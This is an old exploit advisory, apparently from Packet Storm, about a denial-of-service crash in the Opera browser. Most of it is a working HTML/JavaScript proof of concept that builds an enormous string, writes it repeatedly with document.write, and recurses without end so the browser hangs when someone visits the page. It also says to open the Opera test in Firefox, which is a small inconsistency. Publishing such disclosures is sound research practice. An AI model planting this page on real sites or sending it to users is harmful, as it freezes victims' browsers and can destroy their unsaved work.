Opera Plenitude String Crash

🗓️ 03 Mar 2010 00:00:00Reported by Asheesh Kumar Mani TripathiType

packetstorm🔗 packetstormsecurity.com👁 26 Views

Opera Plenitude String Denial of Service Exploit by Asheesh Kumar Mani Tripath

` =======================================================================  
  
Opera (plenitude String )Denial of Service Exploit  
=======================================================================  
  
by  
  
Asheesh Kumar Mani Tripathi  
  
  
# code by Asheesh kumar Mani Tripathi  
  
# email [email protected]  
  
# company www.aksitservices.co.in  
  
# Credit by Asheesh Anaconda  
  
  
#Download http://www.opera.com/download/  
  
  
#Background  
  
Opera is a popular internet browser :)  
  
#Vulnerability  
This bug is a typical result when attacker try to write plenitude String in  
document.write() function .User interaction is required to   
exploit this vulnerability in that the target must visit a malicious   
web page.  
  
  
  
#Impact  
Browser doesn't respond any longer to any user input, all tabs are no   
longer accessible, your work if any might be lost.  
  
  
  
#Proof of concept  
copy the code in text file and save as "asheesh.html" open in Mozilla Firefox  
  
========================================================================================================================  
  
asheesh.html  
========================================================================================================================  
  
<html>  
<title>asheesh kumar mani tripathi</title>  
Asheesh kumar Mani Tripathi  
<head>  
  
<script>  
  
  
  
function asheesh ()  
{  
var i , anaconda = "XXXX"  
for(i=24;i >0 ;--i)  
{  
anaconda=anaconda+anaconda;  
}   
  
document.write(anaconda);   
  
asheesh();  
  
}  
asheesh();  
  
</script>  
</head>  
  
<body onLoad="asheesh()"></body>  
</html>  
  
  
  
========================================================================================================================  
Why do you worry without cause? Whom do you fear without reason? Who can kill you?   
The soul is neither born, nor does it die.  
  
  
#If you have any questions, comments, or concerns, feel free to contact me.   
`

03 Mar 2010 00:00Current

7.4High risk

Vulners AI Score7.4